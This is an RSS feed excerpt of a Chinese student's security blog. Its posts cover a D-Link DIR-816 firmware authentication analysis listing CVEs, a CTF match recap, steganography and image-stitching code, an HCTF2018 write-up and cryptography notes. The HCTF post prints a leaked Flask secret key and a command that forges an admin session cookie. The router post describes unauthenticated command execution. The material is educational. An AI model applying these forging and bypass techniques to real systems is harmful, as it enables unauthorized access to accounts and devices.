&lt;li&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-17065&quot;&gt;CVE-2018-17065&lt;/a&gt;: &lt;a href=&quot;https://github.com/PAGalaxyLab/VulInfo/blob/master/D-Link/DIR-816/stack_overflow_1&quot;&gt;Stack overflow&lt;/a&gt;. Credit: nabla&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10041&quot;&gt;CVE-2019-10041&lt;/a&gt;: &lt;a href=&quot;https://github.com/PAGalaxyLab/VulInfo/blob/master/D-Link/DIR-816/edit_sys_account/README.md&quot;&gt;Edit System Account Without Authentication&lt;/a&gt;. Credit: lbp&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10039&quot;&gt;CVE-2019-10039&lt;/a&gt;: &lt;a href=&quot;https://github.com/PAGalaxyLab/VulInfo/blob/master/D-Link/DIR-816/edit_web_and_sys_account/README.md&quot;&gt;Edit Web And System Account Without Authentication&lt;/a&gt;. Credit: lbp&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10040&quot;&gt;CVE-2019-10040&lt;/a&gt;: &lt;a href=&quot;https://github.com/PAGalaxyLab/VulInfo/blob/master/D-Link/DIR-816/remote_cmd_exec_0/README.md&quot;&gt;Remote Command Execute&lt;/a&gt;. Credit: lbp&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10042&quot;&gt;CVE-2019-10042&lt;/a&gt;: &lt;a href=&quot;https://github.com/PAGalaxyLab/VulInfo/blob/master/D-Link/DIR-816/reset_router/README.md&quot;&gt;Reset Router Without Authentication&lt;/a&gt;. Credit: lbp&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;DIR-816管理页面分析&lt;/h2&gt;
&lt;p&gt;主程序位于 &lt;code&gt;./bin/goahead&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;输入账号密码后，将会向goform/formLogin接口发送如下图所示的数据包进行验证。从数据包中可以看到关键的参数有username，password以及tokenid，其中username使用了base64进行编码，password则进行了某种加密&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ghidra&lt;/code&gt;中查看函数 &lt;code&gt;FUN_00457a74&lt;/code&gt;的源码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;....
....
username = websGetVar(iParm1,&quot;username&quot;,&amp;amp;DAT_00473984);
  password = (char *)websGetVar(iParm1,&quot;password&quot;,&amp;amp;DAT_00473984);
  tokenid = (char *)websGetVar(iParm1,&quot;tokenid&quot;,&amp;amp;DAT_00473984);
  strcpy((char *)&amp;amp;local_158,tokenid);
                    /* tokenid 进行拼接 */
  strcat((char *)&amp;amp;local_158,&quot;B05CC245BFB8A28A83B4F80000000000&quot;);
  websDecode64(acStack296,username,0x80);
  if (*password != 0) {
    decrypt_aes(&amp;amp;local_158,password,acStack168);
  }
  compareResult = strcmp(__s1,acStack296);
  if (compareResult == 0) {
    iVar2 = strcmp(__s1_00,acStack168);
    if (iVar2 == 0) {
      logout = 0;
                    /* 如果密码正确记录login为1 */
      login = 1;
      strncpy(load_host,(char *)(iParm1 + 0x30),0x20);
      if (g_LanWanConflict == 1) {
        websRedirect(iParm1,&quot;d_wan_collision.asp&quot;);
        g_LanWanConflict = 0;
      }
      else {
        websRedirect(iParm1,&quot;index.asp&quot;);
      }
                    /* 同时向这个文件写入0 */
      system(&quot;echo \&quot;0\&quot; &amp;gt; /etc/RAMConfig/confirmlogin&quot;);
      load_dictionary(uVar1,dictionary);
      return;
    }
  }
  system(&quot;echo \&quot;1\&quot; &amp;gt; /etc/RAMConfig/confirmlogin&quot;); //登陆失败就写入1
  websRedirect(iParm1,&quot;dir_login.asp&quot;);
  return;
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;在更新BSS区的变量load_host后则会检测lan口和wan口的状态并返回对应的登录页面，随后将0写入/etc/RAMConfig/confirmlogin文件中&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;通过上述的分析，实际上D-Link路由器在认证成功后仅仅记录了成功登录的用户IP地址，随后将是否需要验证登录的Flag文件内容设置为了0。&lt;/p&gt;
&lt;p&gt;如下图所示，&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1571469459331.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在更新BSS区的变量load_host后则会检测&lt;code&gt;lan&lt;/code&gt;口和&lt;code&gt;wan&lt;/code&gt;口的状态并返回对应的登录页面，随后将0写入/etc/RAMConfig/confirmlogin文件中。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1571469514010.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;相关的handler&lt;/h3&gt;
&lt;p&gt;对于cgi程序是如何处理路由还不是很熟悉，不过感觉&lt;code&gt;handler&lt;/code&gt;就是一个类似处理路由的函数&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1571470097156.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;根据不同的url路径&lt;strong&gt;goahead&lt;/strong&gt;进程将使用不同的Handler进行处理。看到有两个全局Handler,&lt;strong&gt;websSecurityHandler&lt;/strong&gt;和&lt;strong&gt;websDefaultHandler。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/2019/10/19/dir-816-zai-fen-xi/1571470161739.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;websDefaultHandler&lt;/strong&gt;会调用&lt;strong&gt;websValidateUrl&lt;/strong&gt;函数对请求的url地址进行检测，主要的功能是对转义符号进行处理并避免’**../‘**路径穿越的问题。&lt;/p&gt;
&lt;p&gt;相关代码如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    while (__s_01 != (char *)0x0) {
      *__s_01 = &apos;/&apos;;
      __s_01 = strchr(__s_01,0x5c);
    }
    __s_01 = strtok(__s_00,&quot;/&quot;);
    if (__s_01 != (char *)0x0) {
      do {
        while( true ) {
          if (0x3f &amp;lt; iVar4) goto LAB_004088bc;
          iVar2 = strcmp(__s_01,&quot;..&quot;); //查找到相关的字符，防止目录穿越
          if (iVar2 != 0) break;
          if (0 &amp;lt; iVar4) {
            iVar4 = iVar4 + -1;
          }
LAB_004086e8:
          __s_01 = strtok((char *)0x0,&quot;/&quot;);
          if (__s_01 == (char *)0x0) goto LAB_00408788;
        }
        iVar2 = strcmp(__s_01,&quot;.&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;form越权漏洞利用&lt;/h3&gt;
&lt;p&gt;通过对main函数分析，可以找到相关的&lt;code&gt;form&lt;/code&gt;函数&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1571470346745.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;重点关注&lt;code&gt;sub_458D7C&lt;/code&gt;这个函数&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/2019/10/19/dir-816-zai-fen-xi/1571470605065.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;可以执行任意命令了&lt;/p&gt;
&lt;p&gt;写的比较仓促，路由器的模拟也没有成功，还是需要用qemu单独调试&lt;/p&gt;
</content:encoded></item><item><title>10月12日线下赛总结</title><link>https://rayepeng.net/posts/10%E6%9C%8812%E6%97%A5%E7%BA%BF%E4%B8%8B%E8%B5%9B%E6%80%BB%E7%BB%93/</link><guid isPermaLink="true">https://rayepeng.net/posts/10%E6%9C%8812%E6%97%A5%E7%BA%BF%E4%B8%8B%E8%B5%9B%E6%80%BB%E7%BB%93/</guid><pubDate>Mon, 14 Oct 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;虽然很菜但是也忍不住想要总结一下&lt;/p&gt;
&lt;p&gt;我们7点四十左右到底，八点半开始比赛，总共就两个小时，前半个小时用来加固自己的服务器。服务器3台，python一个，java一个，pwn一个。比赛开始的时候第一反应不都是登陆ssh嘛，结果一直连不上，然后工作人员告诉我们需要在网页登陆。。神tm网页登陆，那我怎么拷贝源码。。本来想用scp命令的结果发现这靶机连自己的机器都ping不通。。没办法只能通过网页的shell查看源码，折腾了好久才修改了密码，这时候半个小时早就过去了。于是开始了混战模式，这个时候ssh可以连上去了，但是pwn师傅的ssh一直连不上。那连不上还咋分析程序啊23333，没办法web狗开始审计源代码，python的站挺简单的，发现了一个SSTI漏洞，只过滤了几个关键字，把准备好的payload搞上去，试了好半天却没有得到flag？？？后来经过不懈的努力终于成功地读到了flag，然后就去交。。神tm还要验证码和对应靶机的ip地址。填完之后却提示flag错误了？？？难道这是别的队伍故意设下的陷进给的假的flag不成？？但是我又试了好多个还是失败了。。这就不知道为什么了。。&lt;/p&gt;
&lt;p&gt;总之后期就是一直在交flag，，java的站连网站根目录都没有发现(原谅我tcl)，pwn师傅的ssh好不容易连上了却发现无法连上别的队伍的pwn服务器？？那还搞锤子。。结果后来pwn师傅也开始帮我交flag了，最后总算是靠着这个漏洞狗住了，从12名跳到了第四名。。&lt;/p&gt;
&lt;p&gt;唉赛后pwn师傅一直吐槽这个服务器垃圾，赛后才知道原来是python的服务器的flag生成有问题导致。。唉不说了回家好好练习。。&lt;/p&gt;
</content:encoded></item><item><title>二值图像的隐写</title><link>https://rayepeng.net/posts/%E4%BA%8C%E5%80%BC%E5%9B%BE%E5%83%8F%E7%9A%84%E9%9A%90%E5%86%99/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E4%BA%8C%E5%80%BC%E5%9B%BE%E5%83%8F%E7%9A%84%E9%9A%90%E5%86%99/</guid><pubDate>Mon, 14 Oct 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;算法思想&lt;/h2&gt;
&lt;p&gt;把一个二值图像分成矩形图像区域Bi,若某块p1bi &amp;gt; 50% 则嵌入一个1，若p0bi &amp;gt; 50% 则嵌入一个0&lt;/p&gt;
&lt;p&gt;但是在嵌入的过程中需要对一些像素的颜色进行调整。&lt;/p&gt;
&lt;h2&gt;准备1——计算可以利用的块&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/msg0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;由上图可以看出，只有当一个块中0或者1的比例落在某个区间并且结合消息是0or1才可以决定这一块究竟是藏0还是藏1&lt;/p&gt;
&lt;p&gt;为了简化我们将一幅图片分为10*10的大小，同时我们采用8*8检测，于是可以严格8*8检测的就只剩下中间的64个块了&lt;/p&gt;
&lt;p&gt;我们假设有：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;msg 要隐藏的消息&lt;/li&gt;
&lt;li&gt;count 消息的长度&lt;/li&gt;
&lt;li&gt;image 二值图像&lt;/li&gt;
&lt;li&gt;R1,R0,lumda 是我们设置的参数&lt;/li&gt;
&lt;li&gt;computep1bi函数可以计算出某个块的p1bi&lt;/li&gt;
&lt;li&gt;row,col是为了随机隐藏我们随机选择的块首地址&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;我们需要确定的就是随机选出来的&lt;code&gt;row&lt;/code&gt;和&lt;code&gt;col&lt;/code&gt;是否可以用，于是很自然地想到需要对8*8的块进行遍历，同时标记&lt;code&gt;col&lt;/code&gt;和&lt;code&gt;row&lt;/code&gt;是否可用，不可用的直接将其设为-1&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;% 最后计算哪些是可以用的存起来
j = 1;
for i = 1:m*n
if row(i) ~= -1
  availabler(j) = row(i);
  availablec(j) = col(i);
  j = j+1;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;完整代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;%分析可用的图像块与秘密信息对应
% msg count 为密码消息及其数量
% row col 存放的是随机选块后的块首地址的行列地址
% m*n 为总体数量
% image 为载体图像
% R1,R0,lumda 为参数
% randr randc 是在8*8范围内随机置乱的行列标
function [availabler, availablec, image] = available(msg, count, row, col, m, n, image, R1, R0, lumda, randr, randc)
	msgquan = 1;
	unable = 0;
	difficult = 0;
	for blockquan = 1:m*n
        % 计算这一块的p1bi
		p1bi = compute1bi(row(blockquan), col(blockquan), image);  %计算p1(bi)
		if p1bi &amp;gt;= R1+3*lumda || p1bi &amp;lt;= R0 -3*lumda
			row(blockquan) = -1; % 标记为无用
			col(blockquan) = -1;
			unable = unable + 1;
			msgquan = msgquan - 1; % 该消息还未找到可以隐藏的块
		elseif msg(msgquan, 1) == 1 &amp;amp;&amp;amp; p1bi &amp;lt;= R0
            % 调整p1bi变的更小
			image = editp1bi(row(blockquan), col(blockquan), image, 1, 3*lumda, randr, randc);
			row(blockquan) = -1;
			col(blockquan) = -1;
			difficult = difficult + 1;
			msgquan = msgquan - 1;
		elseif msg(msgquan, 1) == 0 &amp;amp;&amp;amp; p1bi &amp;gt;= R1
			image = editp1bi(row(blockquan),col(blockquan),image,0,3*lumda,randr,randc);
			row(blockquan) = -1;
			col(blockquan) = -1;
			difficult = difficult + 1;
			msgquan = msgquan - 1;
		else
			row(blockquan) = row(blockquan);
			col(blockquan) = col(blockquan);
		end
		msgquan = msgquan + 1;
		if msgquan == count + 1;%该消息已经读取完成
			for i = (blockquan + 1):m*n %将其余的都设置为不可用
				row(i) = -1;
				col(i) = -1;
			end
			disp([&apos;消息长度:&apos;, num2str(msgquan - 1), &apos;bits;用到的块数:&apos;, num2str(blockquan),&apos;;其中不可用的块有:&apos;, num2str(unable),&apos;;另有&apos;,num2str(difficult),&apos;块难以调整已修改为不可用块&apos;])
			break;
		end
	end
      %载体分析完但消息还没有读完
      if msgquan &amp;lt;= count
        disp([&apos;消息长度:&apos;, num2str(msgquan - 1), &apos;bits;用到的块数:&apos;, num2str(blockquan),&apos;;其中不可用的块有:&apos;, num2str(unable),&apos;;另有&apos;,num2str(difficult),&apos;块难以调整已修改为不可用块&apos;])
        disp(&apos;请根据以上数据更换载体&apos;);
        error(&apos;载体太小&apos;);
      end
      %计算可用块的数量
      %disp(row)
      quan = 0;
      for i = 1:m*n
        if row(i) ~= -1
          quan = quan + 1;
        end
      end

      if quan &amp;lt; count
        error(&apos;可用快太小&apos;);
      end
      disp([&apos;可用图像块为：&apos;, num2str(quan)]);
      %生成可用块的行标列标并于消息对应
      image = round(image);
      availabler = zeros([1, quan]);
      availablec = zeros([1, quan]);
      j = 1;
      for i = 1:m*n
        if row(i) ~= -1
          availabler(j) = row(i);
          availablec(j) = col(i);
          j = j+1;
        end
      end
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;准备2——修改像素点&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;%修改像素的函数
% headr为块首行地址
% headc为块首列地址
% image 为图像
% pixel 为要修改的像素
% count 为修改的数量
% randr randc 是随机置乱的结果
function image = editp1bi(headr, headc, image, pixel, count, randr, randc)
  c = 0;
  for i = 1:64
    if image(headr+randr(i), headc+randc(i)) == pixel
      %八连接检测
      if image(headr+randr(i)-1, headc+randc(i)) == ~pixel ||...
        image(headr+randr(i)+1,headc+randc(i)) == ~pixel ||...
        image(headr+randr(i),headc+randc(i) - 1) ~= pixel || ...
        image(headr+randr(i),headc+randc(i) + 1) ~= pixel || ...
        image(headr+randr(i)-1,headc+randc(i) - 1) ~= pixel|| ...
        image(headr+randr(i) -1,headc+randc(i) + 1) ~=pixel||...
        image(headr+randr(i)+ 1,headc+randc(i) - 1) == ~pixel ||... 
        image(headr+randr(i) + 1,headc+randc(i) + 1) == ~pixel... 
        image(headr+randr(i), headc+randc(i)) = ~pixel+0.01;
        c = c+1;
      end
      
    end
      if c==count
        return 
      end
  end
  if c ~= count
  disp(&apos;warning! 参数选择不当 未能。。。建议重做&apos;);
  end
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里其实就是针对中间的64个块进行8连接检测。关于8连接检测边界的做法，我的理解就是只要一个像素点周围的8个点有一个不一样就说明这个点是可以修改的，并且为了防止边界扩散，我们并不直接取反，而是取反后+0.01&lt;/p&gt;
&lt;h2&gt;准备3——计算p1bi的函数&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;function p1bi = compute1bi(headr,headc,image)
   p1bi = 0;
   for i = 1:10
     for j = 1:10
       if image(headr+i-1, headc+j-1) == 1
         p1bi = p1bi + 1;
       end
     end
   end
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>图片拼接作业</title><link>https://rayepeng.net/posts/%E5%9B%BE%E7%89%87%E6%8B%BC%E6%8E%A5%E4%BD%9C%E4%B8%9A/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E5%9B%BE%E7%89%87%E6%8B%BC%E6%8E%A5%E4%BD%9C%E4%B8%9A/</guid><pubDate>Mon, 14 Oct 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;sift算子&lt;/h2&gt;
&lt;p&gt;角点检测技术，比如&lt;code&gt;Harris&lt;/code&gt;等，具有旋转不变性，即使图片发生了旋转，我们也能找到同样的角点。但是对图片进行缩放之后，角点就可能不再是角点了。&lt;/p&gt;
&lt;p&gt;所以我们需要用尺度去描绘一副图片，不同大小的图片描绘的尺度，可以理解成单位是不一样的。为了达到这个目的需要使用尺度空间滤波器。SIFT算法使用高斯差分算子DOG来对LoG做一次近似。&lt;/p&gt;
&lt;p&gt;图像金字塔，分成很多层，每一层又有很多组。之后我们可以做差值，经过一系列繁琐的步骤找到极值点。&lt;/p&gt;
&lt;p&gt;按照教程写了一个代码调试一下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;img = cv2.imread(&apos;src1.jpg&apos;)
# 变成灰度图像
gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)

sift = cv2.xfeatures2d.SIFT_create()
kp = sift.detect(gray, None)
img = cv2.drawKeypoints(gray,kp,outImage=gray)
cv2.imshow(&apos;img&apos;,img)
cv2.waitKey()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;效果图如下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/imgkeypoint.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;注意我使用的opencv版本，要使用sift算子必须是&lt;code&gt;sift = cv2.xfeatures2d.SIFT_create()&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;之后检测到特征点，直接调用&lt;code&gt;cv2.drawKeypoints&lt;/code&gt;函数描绘特征点&lt;/p&gt;
&lt;p&gt;&lt;code&gt;cv2.drawKeypoints&lt;/code&gt;主要的五个参数&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;image:也就是原始图片&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;keypoints：从原图中获得的关键点，这也是画图时所用到的数据&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;outputimage：输出 //可以是原始图片&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;color：颜色设置，通过修改（b,g,r）的值,更改画笔的颜色，b=蓝色，g=绿色，r=红色。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;flags：绘图功能的标识设置&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;特征点匹配如何做到图片拼接&lt;/h2&gt;
&lt;p&gt;这个问题我也很疑惑之后再写&lt;/p&gt;
&lt;h2&gt;图片拼接作业代码&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#coding: utf-8


 
&apos;&apos;&apos;
 参考链接 https://blog.csdn.net/qq878594585/article/details/81901703
&apos;&apos;&apos;

leftgray = cv2.imread(&apos;src2.jpg&apos;)
rightgray = cv2.imread(&apos;src1.jpg&apos;)
 
hessian=400
surf = cv2.xfeatures2d.SURF_create(hessian)
#surf=cv2.SURF(hessian) #将Hessian Threshold设置为400,阈值越大能检测的特征就越少
kp1,des1=surf.detectAndCompute(leftgray,None)  #查找关键点和描述符
kp2,des2=surf.detectAndCompute(rightgray,None)
 
 
FLANN_INDEX_KDTREE=0   #建立FLANN匹配器的参数
indexParams=dict(algorithm=FLANN_INDEX_KDTREE,trees=5) #配置索引，密度树的数量为5
searchParams=dict(checks=50)    #指定递归次数
#FlannBasedMatcher：是目前最快的特征匹配算法（最近邻搜索）
flann=cv2.FlannBasedMatcher(indexParams,searchParams)  #建立匹配器
matches=flann.knnMatch(des1,des2,k=2)  #得出匹配的关键点
 
good=[]
#提取优秀的特征点
for m,n in matches:
    if m.distance &amp;lt; 0.7*n.distance: #如果第一个邻近距离比第二个邻近距离的0.7倍小，则保留
        good.append(m)
src_pts = np.array([ kp1[m.queryIdx].pt for m in good])    #查询图像的特征描述子索引
dst_pts = np.array([ kp2[m.trainIdx].pt for m in good])    #训练(模板)图像的特征描述子索引
H=cv2.findHomography(src_pts,dst_pts)         #生成变换矩阵
h,w=leftgray.shape[:2]
h1,w1=rightgray.shape[:2]
shft=np.array([[1.0,0,w],[0,1.0,0],[0,0,1.0]])
M=np.dot(shft,H[0])            #获取左边图像到右边图像的投影映射关系
dst_corners=cv2.warpPerspective(leftgray,M,(w*2,h))#透视变换，新图像可容纳完整的两幅图
cv2.imshow(&apos;tiledImg1&apos;,dst_corners)   #显示，第一幅图已在标准位置
dst_corners[0:h,w:w*2]=rightgray  #将第二幅图放在右侧
cv2.imwrite(&apos;tiled.jpg&apos;,dst_corners)
cv2.imshow(&apos;tiledImg&apos;,dst_corners)
cv2.imshow(&apos;leftgray&apos;,leftgray)
cv2.imshow(&apos;rightgray&apos;,rightgray)
cv2.waitKey()
cv2.destroyAllWindows()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;原来博主的代码出了一点小问题，估计是复制粘贴的时候出的错。修改了一下可以运行，效果如下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/cv.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;参考&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.csdn.net/lhanchao/article/category/6430040&quot;&gt;特征匹配&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>python审计之flask</title><link>https://rayepeng.net/posts/python%E5%AE%A1%E8%AE%A1%E4%B9%8Bflask/</link><guid isPermaLink="true">https://rayepeng.net/posts/python%E5%AE%A1%E8%AE%A1%E4%B9%8Bflask/</guid><pubDate>Thu, 10 Oct 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;菜鸡决定对python审计好好复习一下&lt;/p&gt;
&lt;h2&gt;HCTF2018 admin&lt;/h2&gt;
&lt;h3&gt;复现&lt;/h3&gt;
&lt;p&gt;虽然是非预期解但是也很有趣，师傅写的代码也挺棒的&lt;/p&gt;
&lt;p&gt;在修改密码的页面查看源代码发现了一个提示。(不过这个挺难发现的还是要养成多看看源码的习惯)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
&amp;lt;div class=&quot;ui grid&quot;&amp;gt;
    &amp;lt;div class=&quot;four wide column&quot;&amp;gt;&amp;lt;/div&amp;gt;
    &amp;lt;div class=&quot;eight wide column&quot;&amp;gt;
        &amp;lt;!-- https://github.com/woadsl1234/hctf_flask/ --&amp;gt;
      &amp;lt;form class=&quot;ui form segment&quot; method=&quot;post&quot; enctype=&quot;multipart/form-data&quot;&amp;gt;
        &amp;lt;div class=&quot;field required&quot;&amp;gt;
          &amp;lt;label&amp;gt;NewPassword&amp;lt;/label&amp;gt;
          &amp;lt;input id=&quot;newpassword&quot; name=&quot;newpassword&quot; required type=&quot;password&quot; value=&quot;&quot;&amp;gt;
        &amp;lt;/div&amp;gt;
        &amp;lt;input type=&quot;submit&quot; class=&quot;ui button fluid&quot; value=&quot;更换密码&quot;&amp;gt;
      &amp;lt;/form&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;之后就可以看到&lt;code&gt;flask&lt;/code&gt;的&lt;code&gt;secret_key&lt;/code&gt;是&lt;code&gt;ckj123&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;同时可以看到&lt;code&gt;flag&lt;/code&gt;获得的条件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{% if current_user.is_authenticated and session[&apos;name&apos;] == &apos;admin&apos; %}
&amp;lt;h1 class=&quot;nav&quot;&amp;gt;hctf{un1c0dE_cHe4t_1s_FuNnying}&amp;lt;/h1&amp;gt;
{% endif %}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后就可以伪造session了，抓包后修改session就可以了(Windows的python3跑不了用的WSL中的python3)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flask-session-cookie-manager git:(master) python3 session_cookie_manager.py encode -s &apos;ckj123&apos; -t &apos;{&quot;name&quot;:&quot;admin&quot;, &quot;user_id&quot;:&quot;1&quot;}&apos;
eyJuYW1lIjoiYWRtaW4iLCJ1c2VyX2lkIjoiMSJ9.XZ9J5Q.mDSLo4JaAJRZVahOGaLqKCuswD8
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/flask.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;分析一下源码&lt;/h3&gt;
&lt;p&gt;app目录主要内容，其中&lt;code&gt;code.py&lt;/code&gt;是用来产生验证码的，&lt;code&gt;config.py&lt;/code&gt;是配置文件，&lt;code&gt;forms.py&lt;/code&gt;是表单建模，&lt;code&gt;models.py&lt;/code&gt;是一些模型，&lt;code&gt;routers.py&lt;/code&gt;是路由&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;├── app
│   ├── __init__.py
│   ├── __init__.pyc
│   ├── code.py
│   ├── code.pyc
│   ├── config.py
│   ├── config.pyc
│   ├── forms.py
│   ├── forms.pyc
│   ├── models.py
│   ├── models.pyc
│   ├── routes.py
│   ├── routes.pyc
│   ├── static
│   └── templates
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们拿到flag的条件就是登陆&lt;code&gt;admin&lt;/code&gt;用户，登陆的路由如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@app.route(&apos;/login&apos;, methods = [&apos;GET&apos;, &apos;POST&apos;])
def login():
    # TODO: 此处current_user是什么意思？它是从flask_login中导入的
    if current_user.is_authenticated:
        return redirect(url_for(&apos;index&apos;))

    form = LoginForm()
    if request.method == &apos;POST&apos;:
        name = strlower(form.username.data) #从表单中获取到name然后存入session中
        session[&apos;name&apos;] = name
        user = User.query.filter_by(username=name).first()
        if user is None or not user.check_password(form.password.data):
            flash(&apos;Invalid username or password&apos;)
            return redirect(url_for(&apos;login&apos;))
        login_user(user, remember=form.remember_me.data)
        return redirect(url_for(&apos;index&apos;))
    return render_template(&apos;login.html&apos;, title = &apos;login&apos;, form = form)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里涉及到了&lt;code&gt;flask&lt;/code&gt;的用户认证可以学习一下，令人疑惑的是文档中说了这个&lt;code&gt;is_authenticated&lt;/code&gt;方法需要自己实现，但是我并没有在源代码中找到实现了这个方法。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.pythondoc.com/flask-login/&quot;&gt;参考文档&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>密码学复习</title><link>https://rayepeng.net/posts/%E5%AF%86%E7%A0%81%E5%AD%A6%E5%A4%8D%E4%B9%A0/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E5%AF%86%E7%A0%81%E5%AD%A6%E5%A4%8D%E4%B9%A0/</guid><pubDate>Thu, 10 Oct 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;先补习一下数学知识&lt;/h2&gt;
&lt;h3&gt;随机变量&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/crypto1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这张ppt中，定义$X(y) = lsb\, (y) $ 于是可以得出随机变量的概率分布&lt;/p&gt;
&lt;h3&gt;联合随机分布&lt;/h3&gt;
&lt;p&gt;联合随机分布就是指对于$U$中所有的变量，概率都是相等的&lt;/p&gt;
&lt;h3&gt;随机算法&lt;/h3&gt;
&lt;p&gt;这个适合确定性算法相对应的(或许和后面的nounce有关？)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/crypto3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;r&lt;/code&gt;是从&lt;code&gt;{0, 1}^n&lt;/code&gt;中的联合随机分布，作为参数输入到函数A中，这样得到的结果y也是随机的&lt;/p&gt;
&lt;h2&gt;secure PRF&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/crypto2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;挑战者随机选择，攻击者发送一连串的x进行试验，某两次实验的结果相同的概率是可忽略的，则这个PRF就是安全的&lt;/p&gt;
&lt;h3&gt;区分PRP和PRF&lt;/h3&gt;
&lt;p&gt;如下同样的两个算法，对于&lt;code&gt;PRP&lt;/code&gt;来说是安全的，但是对于&lt;code&gt;PRF&lt;/code&gt;却是不安全的&lt;/p&gt;
